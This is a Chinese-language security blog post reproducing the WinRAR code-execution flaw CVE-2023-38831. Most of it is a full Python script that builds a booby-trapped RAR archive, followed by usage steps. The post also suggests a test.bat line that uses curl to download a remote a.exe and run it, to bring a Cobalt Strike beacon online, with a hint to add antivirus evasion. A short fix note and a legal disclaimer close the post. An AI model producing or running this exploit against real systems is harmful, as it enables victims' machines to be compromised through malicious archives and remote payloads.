前言
![图片[1]-【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/08/9e1e2c6766143537.png)
WinRAR 在处理压缩包内同名的文件与文件夹时存在代码执行漏洞。攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件中看似无害的文件(如JPG文件)后,将在受害者机器上执行任意代码。
漏洞复现
利用代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import shutil
import os
import sys
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "test.txt"
SCRIPT_NAME = "test.bat"
def main():
global BAIT_NAME, SCRIPT_NAME, OUTPUT_NAME # 声明为全局变量
# 处理命令行参数
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""用法:
python cve-2023-38831-exp-gen.py poc
python cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
# 提取鱼叉文件名的扩展名
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("鱼叉文件名:", BAIT_NAME)
print("脚本文件名:", SCRIPT_NAME)
print("输出文件名:", OUTPUT_NAME)
# 清理并创建必要的目录
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = os.path.join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
# 复制文件到模板目录
shutil.copyfile(SCRIPT_NAME, os.path.join(d, BAIT_NAME + "A.cmd"))
shutil.copyfile(BAIT_NAME, os.path.join(TEMPLATE_NAME, BAIT_NAME + "B"))
# 创建模板目录的 zip 压缩文件
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
# 读取、修改并写回 zip 压缩文件
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
# 将修改后的内容保存为最终输出文件
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
print("成功生成漏洞利用代码。")
if __name__ == "__main__":
main()
这里我们只是测试谈一侧计算器即可
参考代码,需要生成俩个文件
BAIT_NAME = "test.txt"
SCRIPT_NAME = "test.bat"
新建一个空的test.txt,还有一个批处理文件test.bat
test.bat中写入需要运行的命令 这里写入calc
![图片[2]-【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/08/d2b5ca33bd143839.png)
运行脚本:
python cve-2023-38831-exp-gen.py poc
即可生成恶意rar文件:CVE-2023-38831-poc.rar
![图片[3]-【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/08/d2b5ca33bd143954.png)
需要上线cs的话,可以修改test.bat文件内容为:
curl http://xxxxxxx/a.exe -o a.exe & start a.exe & exit
做好免杀就可以上线啦
修复
更新至最新版winrar
参考链接:
http://mp.weixin.qq.com/s/y5UqG5NuUtSHa7-i9AXVyw
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END




















请登录后查看评论内容